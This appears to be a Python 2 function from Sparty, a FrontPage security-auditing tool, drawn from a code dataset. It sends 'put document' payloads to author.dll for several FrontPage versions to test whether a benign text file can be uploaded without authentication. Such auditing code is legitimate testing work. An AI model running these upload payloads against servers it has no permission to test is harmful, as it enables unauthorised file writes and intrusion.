def file_upload_check(name):
        headers = {
                'MIME-Version': '4.0',
                'User-Agent': 'MSFrontPage/4.0',
                'X-Vermeer-Content-Type': 'application/x-www-form-urlencoded',
                'Connection': 'Keep-Alive'}

        # running some standard commands to upload file to  web server using author.dll
        # frontpage versions validated are: 3.0.2.1706 , 4.0.2.4715 , 5.0.2.4803, 5.0.2.2623 , 6.0.2.5420

        os.system("echo 'Sparty Testing !' > sparty.txt")
        file_exp_target = '_vti_bin/_vti_aut/author.dll'
        payloads = ['method=put document:3.0.2.1706&service_name=&document=[document_name=sparty.txt ; meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false','method=put document:4.0.2.4715&service_name=&document=[document_name=sparty.txt ; meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false','method=put document:5.0.2.2623&service_name=&document=[document_name=sparty.txt ; meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false','method=put document:5.0.2.4823&service_name=&document=[document_name=sparty.txt ; meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false','method=put document:6.0.2.5420&service_name=&document=[document_name=sparty.txt ; meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false']

        for item in payloads:
                destination = name + "/" + file_exp_target
                print "[+] Sending HTTP POST request for uploading file to - (%s)" %destination
                try:
                        req = urllib2.Request(destination,item,headers)
                        response = urllib2.urlopen(req)
                        if response.getcode() == 200:
                                print "[+] file uploaded successfully - (%s) | (%s) !\n" % (item, response.getcode())
                                for line in response.readlines():
                                        print line
                        else:
                                print "[-] file fails to upload at  - (%s) | (%s) !\n" %(item,response.getcode())

                except urllib2.URLError as e:
                        print "[-] url error, seems like authentication is required or server failed to handle request! - %s \n[-] payload [%s]\n" % (e.code,item)
                        pass

                except httplib.BadStatusLine:
                        print "[-] server responds with bad status !"
                        pass

# devalias.net - Authentication
dataset/ETHPy150Open alias1/sparty/sparty_v_0.1.py/file_upload_check/original